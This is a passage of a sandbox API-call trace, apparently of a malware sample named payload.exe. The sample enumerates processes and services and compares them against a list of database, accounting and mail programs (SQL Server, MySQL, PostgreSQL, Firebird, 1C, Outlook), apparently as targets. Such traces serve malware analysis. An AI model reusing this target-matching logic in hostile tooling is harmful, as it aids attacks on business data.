(lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0096.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0096.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0096.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0096.106] lstrlenW (lpString="TrkWks") returned 6 [0096.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0096.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0096.106] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0096.106] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0096.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0096.106] lstrlenW (lpString="UxSms") returned 5 [0096.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0096.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0096.106] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0096.106] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0096.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0096.106] lstrlenW (lpString="Winmgmt") returned 7 [0096.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0096.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0096.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0096.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0096.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0096.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4126028 | out: hHeap=0x4f0000) returned 1 [0096.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0096.108] Process32FirstW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.108] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0096.108] lstrlenW (lpString="System") returned 6 [0096.108] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0096.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0096.109] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0096.109] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0096.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0096.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0096.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0096.109] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.109] lstrlenW (lpString="smss.exe") returned 8 [0096.109] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0096.109] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.109] lstrlenW (lpString="csrss.exe") returned 9 [0096.109] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0096.109] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0096.109] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0096.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0096.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0096.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0096.109] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.110] lstrlenW (lpString="wininit.exe") returned 11 [0096.110] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0096.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0096.110] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0096.110] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0096.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0096.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0096.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0096.110] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.110] lstrlenW (lpString="csrss.exe") returned 9 [0096.110] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0096.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0096.110] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0096.110] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0096.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0096.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0096.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0096.110] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.110] lstrlenW (lpString="winlogon.exe") returned 12 [0096.110] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0096.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0096.110] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0096.110] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0096.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0096.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0096.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0096.110] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.111] lstrlenW (lpString="services.exe") returned 12 [0096.111] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0096.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0096.111] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0096.111] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0096.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0096.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0096.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0096.111] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.111] lstrlenW (lpString="lsass.exe") returned 9 [0096.111] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0096.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0096.111] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0096.111] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0096.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0096.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0096.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0096.111] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0096.111] lstrlenW (lpString="lsm.exe") returned 7 [0096.111] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0096.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0096.111] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0096.111] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.112] lstrlenW (lpString="svchost.exe") returned 11 [0096.112] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.112] lstrlenW (lpString="svchost.exe") returned 11 [0096.112] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.112] lstrlenW (lpString="svchost.exe") returned 11 [0096.112] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.112] lstrlenW (lpString="svchost.exe") returned 11 [0096.112] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.113] lstrlenW (lpString="svchost.exe") returned 11 [0096.113] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.113] lstrlenW (lpString="audiodg.exe") returned 11 [0096.113] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.113] lstrlenW (lpString="svchost.exe") returned 11 [0096.113] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.113] lstrlenW (lpString="svchost.exe") returned 11 [0096.113] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0096.114] lstrlenW (lpString="userinit.exe") returned 12 [0096.114] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.114] lstrlenW (lpString="dwm.exe") returned 7 [0096.114] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.114] lstrlenW (lpString="explorer.exe") returned 12 [0096.114] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.114] lstrlenW (lpString="spoolsv.exe") returned 11 [0096.114] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0096.115] lstrlenW (lpString="taskhost.exe") returned 12 [0096.115] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.115] lstrlenW (lpString="svchost.exe") returned 11 [0096.115] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0096.115] lstrlenW (lpString="payload.exe") returned 11 [0096.115] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0096.115] lstrlenW (lpString="reader_sl.exe") returned 13 [0096.115] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0096.116] lstrlenW (lpString="taskhost.exe") returned 12 [0096.116] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0096.116] CloseHandle (hObject=0x190) returned 1 [0096.116] Sleep (dwMilliseconds=0x1f4) [0096.798] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab71e8 [0096.799] EnumServicesStatusExW (in: hSCManager=0x3ab71e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0096.799] GetLastError () returned 0xea [0096.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10c8) returned 0x4061238 [0096.799] EnumServicesStatusExW (in: hSCManager=0x3ab71e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4061238, cbBufSize=0x10c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4061238, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0096.800] CloseServiceHandle (hSCObject=0x3ab71e8) returned 1 [0096.800] lstrlenW (lpString="Appinfo") returned 7 [0096.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0096.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0096.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0096.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0096.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0096.800] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0096.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.800] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0096.800] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0096.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0096.800] lstrlenW (lpString="AudioSrv") returned 8 [0096.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0096.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0096.800] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0096.800] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0096.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0096.800] lstrlenW (lpString="BFE") returned 3 [0096.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0096.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0096.800] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0096.800] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0096.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0096.801] lstrlenW (lpString="CryptSvc") returned 8 [0096.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0096.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0096.801] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0096.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0096.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0096.801] lstrlenW (lpString="CscService") returned 10 [0096.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0096.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0096.801] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0096.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0096.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0096.801] lstrlenW (lpString="DcomLaunch") returned 10 [0096.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0096.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0096.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0096.801] lstrlenW (lpString="Dhcp") returned 4 [0096.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0096.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0096.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0096.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0096.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0096.801] lstrlenW (lpString="Dnscache") returned 8 [0096.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0096.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0096.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0096.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0096.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0096.801] lstrlenW (lpString="DPS") returned 3 [0096.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0096.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0096.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0096.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0096.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0096.801] lstrlenW (lpString="eventlog") returned 8 [0096.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0096.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0096.801] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0096.801] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0096.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0096.801] lstrlenW (lpString="EventSystem") returned 11 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0096.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0096.802] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0096.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0096.802] lstrlenW (lpString="gpsvc") returned 5 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0096.802] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0096.802] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0096.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0096.802] lstrlenW (lpString="iphlpsvc") returned 8 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.802] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0096.802] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0096.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0096.802] lstrlenW (lpString="LanmanServer") returned 12 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0096.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0096.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0096.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0096.802] lstrlenW (lpString="LanmanWorkstation") returned 17 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0096.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0096.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0096.802] lstrlenW (lpString="lmhosts") returned 7 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0096.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0096.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0096.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0096.802] lstrlenW (lpString="MMCSS") returned 5 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0096.802] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0096.802] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0096.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0096.802] lstrlenW (lpString="MpsSvc") returned 6 [0096.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 